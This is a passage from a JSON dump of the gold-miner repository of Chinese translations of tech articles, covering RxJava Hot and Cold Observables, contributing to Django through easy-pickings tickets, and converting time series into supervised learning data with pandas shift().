Observable.create(source->source.onNext(random.nextInt()));\n    just.subscribe(s-> System.out.println(s));\n    just.subscribe(s-> System.out.println(s));\n}\n```\n\n我有一段生产随机数的程序，让我们来看下输出再来讨论这是 Cold 还是 Hot。\n\nOutput:\n1531768121\n607951518\n\n两个不同的值。这就是说这是一个 Cold observable，因为根据 Cold Observable 的定义每次都会得到一个全新的值。每次它都会创建一个全新的值，或者简单来说 onNext() 方法会被不同的订阅者分别调用一次。\n\n现在让我们来把这个 Cold Observable 转换成 Hot Observable。\n\n```\npublic static void main(String[] args) {\n    Random random = new Random();\n    Observable<Integer> just = Observable.create(source->source.onNext(random.nextInt()));\n    ConnectableObservable<Integer> publish = just.publish();\n    publish.subscribe(s-> System.out.println(s));\n    publish.subscribe(s-> System.out.println(s));\n    publish.connect();\n}\n```\n\n在解释上面的代码之前，先让我们来看一下输出。\n```\nOutput:\n1926621976\n1926621976\n```\n\n我们的两个不同订阅者得到了同一份数据。根据 Hot Observable 总是每份数据只发射一次的定义说明了这是一个 Hot Obsevable，或者简单来说 onNext() 只被调用了一次。我接下来会解释 publish() 和 connect() 的调用。\n\n当我调用 publish() 方法时，这意味着我的这个 Observable 已经独立于订阅者，并且所有订阅者只会接收到同一个数据源发射的同一份数据。简单来说，Hot Observable 将会对所有订阅者发射调用一次 onNext() 所产生的数据。这里或许有些让你感到困惑，我在两个订阅者订阅之后才调用了 connect() 方法。因为我想告诉你们 Hot Observable 是独立的并且数据的发射应该通过一次对 onNext() 的调用，并且我们知道 Hot Observable 只会在我们调用 connect() 之后才会开始发射数据。所以首先我们让两个订阅者去订阅，然后在我们才调用 connect() 方法，于是我们就可以得到同样一份数据。现在让我们来对这个例子做些小小的改动。\n\n```\nRandom random = new Random();\nObservable<Integer> just = Observable.create(source->source.onNext(random.nextInt()));\nConnectableObservable<Integer> publish = just.publish();\npublish.connect();\npublish.subscribe(s-> System.out.println(s));\npublish.subscribe(s-> System.out.println(s));\n```\n\n我们看到这里只有一处小小的变化。我在调用 connect() 之后才让订阅者订阅。大家来猜猜会输出什么？\n```\nOutput:\nProcess finished with exit code 0\n```\n\n没错，没有输出。是不是觉得有点不对劲？听我慢慢解释。如你所见，我创建了一个发射随机数的 Observable，并且它只会调用一次了。通过调用 publish() 我将这个 Cold Observable 转换成了 Hot Observable，接着我立即调用了 **connect()** 方法。我们知道现在它是一个独立于订阅者的 Hot Observable，并且它生成了一个随机数将其发射了出去。在调用 connect() 之后我们才让两个订阅者订阅了这个 Observable，两个订阅者没有接收到任何数据的原因是在它们订阅之前 Hot Observable 就已经将数据发射了出去。我想大家都能明白的吧。现在让我们在 Observable 内部加上日志打印输出，这样我们就可以确认这个流程是如同我所解释的一样了。\n\n```\npublic static void main(String[] args) {\n    Random random = new Random();\n    Observable<Integer> just = Observable.create(source -> {\n                int value = random.nextInt();\n                System.out.println(\"Emitted data: \" + value);\n                source.onNext(value);\n            }\n    );\n    ConnectableObservable<Integer> publish = just.publish();\n    publish.connect();\n    publish.subscribe(s -> System.out.println(s));\n    publish.subscribe(s -> System.out.println(s));\n}\n```\n\n```\nOutput:\n\nEmitted data: -690044789\n\nProcess finished with exit code 0\n```\n\n如上所示，我的 Hot Observable 在调用 connect() 之后开始发射数据，然后才是订阅者发起了订阅。这就是为什么我的订阅者没有得到数据。让我们在继续深入之前来复习一下。\n1. 所有的 Observable 默认都是 Cold Obserable。\n2. 通过调用 Publish() 方法我们可以将一个 Cold Observable 转换成 Hot Observable，该方法返回了一个 ConnectableObservable，它现在并不会立即开始发射数据。\n3. 在对 ConnectableObservable 调用 connect() 方法后它才开始发射数据。\n\nObservable: 小小的暂停一下，在我们继续研究 Observable 之前，你如果能将以上的代码改造成能无限制间隔发射数据的话就太棒了。\n\nMe: 小菜一碟。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n    Random random = new Random();\n    Observable<Integer> just = Observable.create(\n            source -> {\n                Observable.interval(1000, TimeUnit.MILLISECONDS)\n                        .subscribe(aLong -> {\n                            int value = random.nextInt();\n                            System.out.println(\"Emitted data: \" + value);\n                            source.onNext(value);\n                        });\n            }\n    ); // 简单的把数据源变成了每间隔一秒就发射一次数据。\n    ConnectableObservable<Integer> publish = just.publish();\n    publish.connect();\n\n    Thread.sleep(2000); // 我们的订阅者在 2 秒后才开始订阅。\n    publish.subscribe(s -> System.out.println(s));\n    publish.subscribe(s -> System.out.println(s));\n\n    while (true);\n\n}\n```\n\n```\nOutput:\n\nEmitted data: -918083931\nEmitted data: 697720136\nEmitted data: 416474929\n416474929\n416474929\nEmitted data: -930074666\n-930074666\n-930074666\nEmitted data: 1694552310\n1694552310\n1694552310\nEmitted data: -61106201\n-61106201\n-61106201\n```\n\n输出结果如上所示。我们的 Hot Observable 完全在按照我们之前得出的定义在工作。当它开始发射数据的 ２ 秒时间后，我们得到了 ２ 个不同的输出值，接着我们让两个订阅者去订阅它，于是它们得到了同一份第三个被发射出来的值。\n是时候来更加深入的来理解这个概念了。在我们已经对 Cold 和 Hot 有一定概念的基础上，我将针对一些场景对 Hot Observable 做更详细的介绍。\n\n场景 1:\n我希望任意订阅者在订阅之后也能首先接收到其订阅这个时间点之前的数据，然后才是同步接收到新发射出来的数据。要解决这个问题，我们只需要简单的调用 replay() 方法就行。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Random random = new Random();\n    Observable<Integer> just = Observable.create(\n            source -> {\n                Observable.interval(500, TimeUnit.MILLISECONDS)\n                        .subscribe(aLong -> {\n                            int value = random.nextInt();\n                            System.out.println(\"Emitted data: \" + value);\n                            source.onNext(value);\n                        });\n            }\n    );\n    ConnectableObservable<Integer> publish = just.replay();\n    publish.connect();\n\n    Thread.sleep(2000);\n    publish.subscribe(s -> System.out.println(\"Subscriber 1: \"+s));\n    publish.subscribe(s -> System.out.println(\"Subscriber 2: \"+s));\n\n    while (true);\n\n}\n```\n\n```\nOutput:\n**Emitted data: -1320694608**\n**Emitted data: -1198449126**\n**Emitted data: -1728414877**\n**Emitted data: -498499026**\nSubscriber 1: -1320694608\nSubscriber 1: -1198449126\nSubscriber 1: -1728414877\nSubscriber 1: -498499026\nSubscriber 2: -1320694608\nSubscriber 2: -1198449126\nSubscriber 2: -1728414877\nSubscriber 2: -498499026\n**Emitted data: -1096683631**\n**Subscriber 1: -1096683631**\n**Subscriber 2: -1096683631**\n**Emitted data: -268791291**\n**Subscriber 1: -268791291**\n**Subscriber 2: -268791291**\n```\n\n以上所示，你能轻松的理解 Hot Observabel 里的 replay() 这个方法。我首先创建了一个每隔 0.5 秒发射数据的 Hot Observable，在 ２ 秒过后我们才让两个订阅者去订阅它。此时由于我们的 Observable 已经发射出来了 4 个数据，于是你能看到输出结果里，我们的订阅者首先得到了在其订阅这个时间点之前已经被发射出去的 4 个数据，然后才开始同步接收到新发射出来的数据。\n\n场景 2:\n我希望有一种 Hot Observable 能够在最少有一个订阅者的情况下才发射数据，并且如果所有它的订阅者都取消了订阅，它就会停止发射数据。\n这同样能够很轻松的办到。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Observable<Long> observable = Observable.interval(500, TimeUnit.MILLISECONDS).publish().refCount();\n\n    Consumer<Long > firstSubscriber = s -> System.out.println(\"Subscriber 1: \"+s);\n    Consumer<Long > secondSubscriber = s -> System.out.println(\"Subscriber 2: \"+s);\n\n    Disposable subscribe1 = observable.subscribe(firstSubscriber);\n    Disposable subscribe2 = observable.subscribe(secondSubscriber);\n\n    Thread.sleep(2000);\n    subscribe1.dispose();\n    Thread.sleep(2000);\n    subscribe2.dispose();\n\n    Consumer<Long > thirdSubscriber = s -> System.out.println(\"Subscriber 3: \"+s);\n    Disposable subscribe3 = observable.subscribe(thirdSubscriber);\n\n    Thread.sleep(2000);\n    subscribe3.dispose();\n\n    while (true);\n}\n```\n\nOutput:\nSubscriber 1: 0\nSubscriber 2: 0\nSubscriber 1: 1\nSubscriber 2: 1\nSubscriber 1: 2\nSubscriber 2: 2\nSubscriber 1: 3\nSubscriber 2: 3\nSubscriber 2: 4\nSubscriber 2: 5\nSubscriber 2: 6\nSubscriber 2: 7\nSubscriber 3: 0\nSubscriber 3: 1\nSubscriber 3: 2\nSubscriber 3: 3 (译者注：原文少写了一行输出)\n\n至关重要的一点是，这是一个 Hot Observable，并且它在第一个订阅者订阅之后才开始发射数据，然后当它没有订阅者时它会停止发射数据。\n如上面的输出所示，当头两个订阅者开始订阅它之后，它才开始发射数据，然后其中一个订阅者取消了订阅，但是它并没有停止发射数据，因为此时它还拥有另外一个订阅者。又过了一会，另外一个订阅者也取消了订阅后，它便停止了发射数据。当 2 秒过后第三个订阅者开始订阅它之后，它开始从头开始发射数据，而不是从第二个订阅者取消订阅时停留在的位置。\n\nObservable: 哇哦，你真棒！你把这个概念解释地超好。\n\nMe: 多谢夸奖。\n\nObservable: 那么你还有其他的问题吗？\n\nMe: 是的，我有。你能告诉我什么是 Subject 以及不同类别的 Subject 的区别吗，比如 Publish，Behaviour 之类的。\n\nObservable: Emmmmmm。我觉我应该在教你那些个概念之前告诉你关于 Observer API 的相关知识，还有就是关于如何使用 Lambda 表达式或者叫函数式接口来代替使用完整的 Observer 接口的方法。你觉得呢？\n\nMe: 好啊，都听你的。\n\nObservable: 就目前我们了解到的 Observable，这里还有一个关于我们一直在使用的 Observable 的概念...\n\n小结:\n你们好啊，朋友们。这次的对话真是有点长啊，我必须在此打住了。否则的话这篇文章就会变成一本四库全书，什么乱七八糟的东西都会出现。我希望我们能够系统地有条理地来学习这一切。所以余下的内容，我们下回再揭晓。再者，试试看尽你可能把我们这次学到的东西用在你真正的项目中。最后感谢 Rx Observable 的到场。\n周末快乐，再见。🙂\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/contributing-hugh-lib.md",
    "content": "> * 原文地址：[Contributing to Django Framework is easier than you think](https://www.vinta.com.br/blog/2017/contributing-hugh-lib/?hmsr=pycourses.com&utm_source=pycourses.com&utm_medium=pycourses.com)\n> * 原文作者：[Anderson Resende](https://www.vinta.com.br/blog/author/andersonresende/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/contributing-hugh-lib.md](https://github.com/xitu/gold-miner/blob/master/TODO/contributing-hugh-lib.md)\n> * 译者：[JayZhaoBoy](https://github.com/JayZhaoBoy)\n> * 校对者：[song-han](https://github.com/song-han), [Tina92](https://github.com/Tina92)\n\n# 为 Django Framework 贡献你的力量并没有想象中的那么难\n\n当我们准备开始编码并开源的时候，总感觉无从下手。我知道，给一个精彩绝伦的代码库贡献代码的这个想法听起来是有一点吓人的。不过幸运的是，只要你愿意，很多这样的开源库会为你提供大显身手的空间。他们同样会给予我们所需要的支持。听起来很不错吧？\n\n你知道那个著名的 python 框架吗？[Django](https://www.djangoproject.com/)！他们的网站上有一个部分叫 [Easy Pickings](https://code.djangoproject.com/query?status=!closed&easy=1)。假如你准备开始参与开源工作并为一个精彩的代码库做贡献，这就是为你而准备的！\n\n在这篇博客中，我将逐步向你展示如何通过修复 Django easy pick 问题来为开源代码库做贡献的，通过这几个简单的步骤你也可以做到。接下来我将通过修复一个缺陷来从头到尾讲解这个过程，跟我来！\n\n## 发现/定位一个 bug\n\n首先你要做的是访问 Django 的 [Easy pickings](https://code.djangoproject.com/query?status=!closed&easy=1)部分。在那里你可以找到易于修复 ticket 和小 bug。每天都会有新的 ticket。找到没有分配给任何人的 ticket。如下图所示： \n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/d7/a3/d7a34921-1f76-49f3-89e0-e0d35c0d552c/easy_pickings_search.png)\n\n本文中我选择的是 [bug ticket #26026](https://code.djangoproject.com/ticket/26026) 并把它分配给我自己，接下来我们要深入的了解这个问题。在下图中，我只是显示了 ticket 的头部。请记得阅读完整的 ticket。\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/25/92/2592c87c-c1e0-4a32-b8d5-97e35df7dcd6/easy_bug_card.png)\n\n正如我之前所说，我已经解决了这个 bug。所以当我把这个 bug 分配给我自己，bug 将被关闭，并有一些相关的 PR。因此当你选择一个 bug 时，千万不要忘记把它分配给自己。这是为了防止其他人重复选择这个 bug。你需要在 Django 的网站上登录，在 ticket 页面的顶部有链接。\n\n如果你打开 ticket 页面，你可能会看到一些关于如何解决问题的意见和方案。通常这些对你都是很有帮助的。\n\n好了！我们现在已经找到并理解了一个公开的 ticket 是什么样子的。\n\n## 开始编码\n\n第一步先 fork [Django repo](https://github.com/django/django)仓库。第二步，编写你的代码，并按照建议的风格进行提交[Django's guidelines](https://docs.djangoproject.com/en/1.10/internals/contributing/committing-code/#committing-guidelines)。可以参考一下我的提交： _[1.9.x] Fixed #26026 -- Checked if the QuerySet is empty_。最后发起 pull request。\n\n让我们来看一下我的 pull request 并检查一下我的代码。可以看到我用了包含 ticket 的链接来注释这个 PR。\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/03/35/03350a59-e487-4d51-bcee-01a86e5c9bed/unmerged_pr.png)\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/c3/c8/c3c817a7-bef7-4fda-96ea-12f01d016847/unmerged_pr_code.png)\n\n简单吧，你觉得呢？这是我的解决方案，只有一行代码。但是看了下面的答案我发现：\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/d0/78/d07800d2-d0a4-42db-a285-a011eb4744f9/unmerge_pr_comment.png)\n\n额... 问题的原因是我对错误的 Django 版本进行了 pull request。而且我忘记了写我的修复测试。让我们来解决这个问题！\n\n这是我的第二次 PR，针对 master 对我已经编写的代码进行测试。请注意我的提交名称已经变了（和我的 PR 名称一致）。\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/0d/fc/0dfcc5a4-dd68-4c39-b7ea-151c44933799/merged_commit_pr.png)\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/3c/1b/3c1b3d9c-f8fc-4a3a-a393-2e6fa8af52d5/merged_pr_code.png)\n\n完成！我的 PR 已经被合并和关闭。我已经为了不起的 Django 库做出了我的贡献！\n\n![Alt text](https://vinta-cms.s3.amazonaws.com/media/filer_public/fb/08/fb08867f-2c67-4bed-a7ee-d66839d92cae/dead.gif)\n\n**更多来自Vinta**\n\n- [**Controlling access: a Django permission apps comparison**](https://www.vinta.com.br/blog/2016/controlling-access-a-django-permission-apps-comparison/)\n- [**Python API clients with Tapioca**](https://www.vinta.com.br/blog/2016/python-api-clients-with-tapioca/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/convert-time-series-supervised-learning-problem-python.md",
    "content": "\n> * 原文地址：[How to Convert a Time Series to a Supervised Learning Problem in Python](http://machinelearningmastery.com/convert-time-series-supervised-learning-problem-python/)\n> * 原文作者：[Dr. Jason Brownlee](http://machinelearningmastery.com/author/jasonb/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/convert-time-series-supervised-learning-problem-python.md](https://github.com/xitu/gold-miner/blob/master/TODO/convert-time-series-supervised-learning-problem-python.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：\n\n# 如何将时间序列问题用 Python 转换成为监督学习问题\n\n一些机器学习方法（例如深度学习）可以用于进行时间序列预测。\n\n在使用这些机器学习方法前，必须先将时间序列预测问题转化为监督学习问题。也就是说，需要将一个时间序列转换成一组包含成对输入输出的序列。\n\n在这篇教程里，你将了解如何将单变量时间序列预测问题和多变量时间序列预测问题转换成监督学习问题，以使用机器学习算法。\n\n读完这篇教程，你将会了解：\n\n- 如何编写一个将时间序列数据集转换为监督学习数据集的函数。\n- 如何转换一元时间序列数据以使用机器学习。\n- 如何转换多元时间序列数据以使用机器学习。\n\n让我们开始吧。\n\n![How to Convert a Time Series to a Supervised Learning Problem in Python](http://3qeqpr26caki16dnhd19sv6by6v.wpengine.netdna-cdn.com/wp-content/uploads/2017/05/How-to-Convert-a-Time-Series-to-a-Supervised-Learning-Problem-in-Python.jpg)\n\n题图：如何将时间序列问题用 Python 转换成为监督学习问题\n\n[Quim Gil](https://www.flickr.com/photos/quimgil/8490510169/) 拍摄，版权所有。\n\n## 时间序列 vs 监督学习\n\n在正式开始之前，让我们先花点时间更好地了解一下时间序列和监督学习的数据集结构。\n\n单个时间序列由一系列按照时间排序的数字序列组成。可以将其理解为一列有序值。\n\n例如：\n\n```\n0\n1\n2\n3\n4\n5\n6\n7\n8\n9\n```\n\n\n而一个监督学习问题是由一组输入（*X*）和一组输出（*y*）组成，算法可以学会如何通过输入值来预测输出值。\n\n例如：\n\n```\nX,  y\n1 2\n2,  3\n3,  4\n4,  5\n5,  6\n6,  7\n7,  8\n8,  9\n```\n\n可以参阅这篇文章，学习更多有关知识：\n\n- [Time Series Forecasting as Supervised Learning](http://machinelearningmastery.com/time-series-forecasting-supervised-learning/)\n\n## Pandas 的 shift() 函数\n\n我们将时间序列数据转化为监督学习问题的关键就是使用 Pandas 的 [shift()](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.shift.html) 函数。\n\n给定一个 DataFrame，*shift()* 函数会将输入的列复制一份，然后将副本列整体往后移动（最前面的数据空位会用 NaN 填充）或者往前移动（最后面的数据空位会用 NaN 填充）。\n\n这样可以创建一个滞后值列，加上观察列，就能将时间序列数据集变成监督学习数据集的格式。\n\n让我们看看 shift 函数实际用起来效果如何。\n\n我们可以通过下面的代码模拟一个长度为 10 的时间序列数据集，此时它在 DataFrame 中为单独的一列：\n\n```\nfrom pandas import DataFrame\ndf = DataFrame()\ndf['t'] = [x for x in range(10)]\nprint(df)\n```\n\n运行上面的样例，将时间序列数据输出，其每一行都为带有索引的观察组数据。\n```\n   t\n0  0\n1  1\n2  2\n3  3\n4  4\n5  5\n6  6\n7  7\n8  8\n9  9\n```\n\n我们可以在数据顶部插入一行，将观察组的数据整体下挪一位。由于最上面插入的新行没有数据，因此我们可以用 NaN 填充来表示这儿“没有数据”。\n\nshift 函数可以完成这些操作。我们可以将 shift 函数“挪动”过的新列插入原始序列的旁边。\n\n```\nfrom pandas import DataFrame\ndf = DataFrame()\ndf['t'] = [x for x in range(10)]\ndf['t-1'] = df['t'].shift(1)\nprint(df)\n```\n\n运行上面的样例，你将得到一个包含两列的数据集。第一列是原始的观察组，第二列是经由 shift 函数挪动生成的新列。\n\n可以看到，经过将序列移动一次的操作之后，我们得到了一个原始的监督学习问题（虽然此时的 *X* 和 *y* 的排序明显是错的）。忽略最前面的表头，第一行存在 NaN 值，因此需要将其丢弃。在第二行，我们可以将第二列的 0.0 作为输入值（也就是 *X*），将第一列的 1 作为输出值（或 *y*）。\n\n```\n   t  t-1\n0  0  NaN\n1  1  0.0\n2  2  1.0\n3  3  2.0\n4  4  3.0\n5  5  4.0\n6  6  5.0\n7  7  6.0\n8  8  7.0\n9  9  8.0\n```\n\n如果我们重复 shift 步骤，让原始列挪动 2 位、3 位或者更多位，我们就能得到一系列的输入数据（*X*），由这些输入值就能去预测输出值（*y*）了。\n\nshift 操作能也能接受负整数作为参数。如果你这么做，它会在列底部插入新行，从而使得原列向上移动。下面是例子：\n\n```\nfrom pandas import DataFrame\ndf = DataFrame()\ndf['t'] = [x for x in range(10)]\ndf['t+1'] = df['t'].shift(-1)\nprint(df)\n```\n\n运行上面的样例，可以看到新列中的最后一个值为 NaN。\n\n此时可以将预测列作为输入值（*X*），将第二列作为输出值（*y*）。也就是给定输入值 0 可以用于预测输出值 1。\n\n```\n   t  t+1\n0  0  1.0\n1  1  2.0\n2  2  3.0\n3  3  4.0\n4  4  5.0\n5  5  6.0\n6  6  7.0\n7  7  8.0\n8  8  9.0\n9  9  NaN\n```\n\n从技术上说，在时间序列预测问题的术语中，当前时间（*t*）和未来时间（*t+1, t+n*）为待预测时间，过去时间（*t-1, t-n*）则用于预测。\n\n从上面的例子中，我们可以学会如何使用通过 shift 函数正向或反向移动序列，生成新的 DataFrame，将时间序列问题转变成监督学习问题的输入-输出模式。\n\n这不仅可以解决经典的 *X -> y* 类预测问题，也可以用于输入输出值都是序列的 *X -> Y* 类预测。\n\n另外，shift 函数也能用于多元时间序列问题中。这类问题中包含多列观察组（例如温度、气压等）。时间序列中的所有变量都能用通过向前或向后挪动，生成多元输入值与输出值序列。稍后我们将探讨这类问题。\n\n## series_to_supervised() 函数\n\n我们可以使用 Pandas 的 *shift()* 函数，在给定希望得到的输入值、输出值序列长度后自动生成时间序列问题的新格式数据。\n\n这是个很有用的工具。我们可以通过机器学习算法研究各种时间序列问题格式，探究哪种格式能够得到效果更佳的模型。\n\n在本节中，我们将创建一个新的 Python 函数，名为 *series_to_supervised()*。它可以将多元时间序列问题与一元时间序列问题转换为监督学习数据集的格式。\n\n这个函数接收以下 4 个参数：\n\n- **data**：必填，待转换的序列，数据类型为 list 或 2 维 NumPy array。\n- **n_in**： 可选，滞后组（作为输入值 X）的数量。范围可以在 [1..len(data)] 之间，默认值为 1。\n- **n_out**： 可选，观察组（作为输出值 y）的数量。范围可以在  [0..len(data)-1] 之间，默认值为 1。\n- **dropnan**：选填，决定是否抛去包含 NaN 的行。类型为 Boolean，默认值为 True。\n\n函数将会返回一个值：\n\n- **return**：返回监督学习格式的数据集，数据类型为 Pandas DataFrame。\n\n新数据集 DataFrame 格式，每一列都由原变量名称和移动步数命名，让你可以根据给定的一元或多元时间序列问题设计出各种移动步数的序列。\n\n在 DataFrame 返回时，你可以对其行进行分割，根据你的需要决定如何将返回的 DataFrame 分成 X 和 y 两部分。\n\n这个函数的参数都设置了默认值，因此可以直接调用它处理你的数据，这种默认情况它将会返回一个 *t-1* 作为 X，*t* 作为 y 的 DataFrame。\n\n这个函数已确定同时兼容 Python2 和 Python3。\n\n下面为完整代码，并写好了注释：\n\n```\nfrom pandas import DataFrame\nfrom pandas import concat\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n  \"\"\"\n  函数用途：将时间序列转化为监督学习数据集。\n  参数说明：\n    data: 观察值序列，数据类型可以是 list 或者 NumPy array。\n    n_in: 作为输入值(X)的滞后组的数量。\n    n_out: 作为输出值(y)的观察组的数量。\n    dropnan: Boolean 值，确定是否将包含 NaN 的行移除。\n  返回值:\n    经过转换的用于监督学习的 Pandas DataFrame 序列。\n  \"\"\"\n  n_vars = 1 if type(data) is list else data.shape[1]\n  df = DataFrame(data)\n  cols, names = list(), list()\n  # 输入序列 (t-n, ... t-1)\n  for i in range(n_in, 0, -1):\n    cols.append(df.shift(i))\n    names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n  # 预测序列 (t, t+1, ... t+n)\n  for i in range(0, n_out):\n    cols.append(df.shift(-i))\n    if i == 0:\n      names += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n    else:\n      names += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n  # 将所有列拼合\n  agg = concat(cols, axis=1)\n  agg.columns = names\n  # drop 掉包含 NaN 的行\n  if dropnan:\n    agg.dropna(inplace=True)\n  return agg\n```\n\n你觉得可以怎样提高这个函数的鲁棒性或者可读性吗？请留言在评论区。\n\n至此我们已经得到了整个函数，接下来探索它的用法。\n\n## 单步或单变量预测\n\n在时间序列预测问题中通常使用滞后时间（例如 t-1）作为输入变量来预测当前时间（t）。\n\n这种问题被称为单步预测。\n\n下面展示了使用滞后一个时间步的时间（t-1）来预测当前时间（t）的例子。\n\n```\nfrom pandas import DataFrame\nfrom pandas import concat\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n  \"\"\"\n  函数用途：将时间序列转化为监督学习数据集。\n  参数说明：\n    data: 观察值序列，数据类型可以是 list 或者 NumPy array。\n    n_in: 作为输入值(X)的滞后组的数量。\n    n_out: 作为输出值(y)的观察组的数量。\n    dropnan: Boolean 值，确定是否将包含 NaN 的行移除。\n  返回值:\n    经过转换的用于监督学习的 Pandas DataFrame 序列。\n  \"\"\"\n  n_vars = 1 if type(data) is list else data.shape[1]\n  df = DataFrame(data)\n  cols, names = list(), list()\n  # 输入序列 (t-n, ... t-1)\n  for i in range(n_in, 0, -1):\n    cols.append(df.shift(i))\n    names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n  # 预测序列 (t, t+1, ... t+n)\n  for i in range(0, n_out):\n    cols.append(df.shift(-i))\n    if i == 0:\n      names += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n    else:\n      names += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n  # 将所有列拼合\n  agg = concat(cols, axis=1)\n  agg.columns = names\n  # drop 掉包含 NaN 的行\n  if dropnan:\n    agg.dropna(inplace=True)\n  return agg\n  \n  values = [x for x in range(10)]\n  data = series_to_supervised(values)\n  print(data)\n```\n\n运行样例，输出转换后的时间序列。\n\n```\n   var1(t-1)  var1(t)\n1        0.0        1\n2        1.0        2\n3        2.0        3\n4        3.0        4\n5        4.0        5\n6        5.0        6\n7        6.0        7\n8        7.0        8\n9        8.0        9\n```\n\n可以看到，观察组被命名为“*var1*”，作为输入值的观察组被命名为（*t-1*），输出值组被命名为（*t*）。\n\n此外，可以看到包含 NaN 的行已经被自动从 DataFrame 中移除。\n\n我们可以任意给定输入序列数量的值来重复运行这个例子。例如输入 3，我们事先已经将输入序列的数量定义为了一个参数。例如：\n\n```\ndata = series_to_supervised(values, 3)\n```\n\n完整样例如下：\n\n```\nfrom pandas import DataFrame\nfrom pandas import concat\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n\"\"\"\n  函数用途：将时间序列转化为监督学习数据集。\n  参数说明：\n    data: 观察值序列，数据类型可以是 list 或者 NumPy array。\n    n_in: 作为输入值(X)的滞后组的数量。\n    n_out: 作为输出值(y)的观察组的数量。\n    dropnan: Boolean 值，确定是否将包含 NaN 的行移除。\n  返回值:\n    经过转换的用于监督学习的 Pandas DataFrame 序列。\n  \"\"\"\n  n_vars = 1 if type(data) is list else data.shape[1]\n  df = DataFrame(data)\n  cols, names = list(), list()\n  # 输入序列 (t-n, ... t-1)\n  for i in range(n_in, 0, -1):\n    cols.append(df.shift(i))\n    names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n  # 预测序列 (t, t+1, ... t+n)\n  for i in range(0, n_out):\n    cols.append(df.shift(-i))\n    if i == 0:\n      names += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n    else:\n      names += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n  # 将所有列拼合\n  agg = concat(cols, axis=1)\n  agg.columns = names\n  # drop 掉包含 NaN 的行\n  if dropnan:\n    agg.dropna(inplace=True)\n  return agg\n\n\nvalues = [x for x in range(10)]\ndata = series_to_supervised(values, 3)\nprint(data)\n```\n\n再次运行样例，输出重新构造的序列，可以看到输入序列准确无误地从左至右裴烈，作为预测项的输入值在最右边。\n\n```\n   var1(t-3)  var1(t-2)  var1(t-1)  var1(t)\n3        0.0        1.0        2.0        3\n4        1.0        2.0        3.0        4\n5        2.0        3.0        4.0        5\n6        3.0        4.0        5.0        6\n7        4.0        5.0        6.0        7\n8        5.0        6.0        7.0        8\n9        6.0        7.0        8.0        9\n```\n\n## 多步或序列预测\n\n还有一类预测问题：使用过去的观察组来对未来的观察组序列做预测。\n\n可以将这类问题成为序列预测问题或者多步预测问题。\n\n我们可以通过规定另一个参数来将序列预测问题的时间序列重新构造。例如，我们可以把 2 个过去的观察组转变为 2 个未来的观察组，从而重新构造预测问题：\n\n```\ndata=series_to_supervised(values,2,2)\n```\n\n完整样例如下：\n\n```\nfrom pandas import DataFrame\nfrom pandas import concat\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n  \"\"\"\n  函数用途：将时间序列转化为监督学习数据集。\n  参数说明：\n    data: 观察值序列，数据类型可以是 list 或者 NumPy array。\n    n_in: 作为输入值(X)的滞后组的数量。\n    n_out: 作为输出值(y)的观察组的数量。\n    dropnan: Boolean 值，确定是否将包含 NaN 的行移除。\n  返回值:\n    经过转换的用于监督学习的 Pandas DataFrame 序列。\n  \"\"\"\n  n_vars = 1 if type(data) is list else data.shape[1]\n  df = DataFrame(data)\n  cols, names = list(), list()\n  # 输入序列 (t-n, ... t-1)\n  for 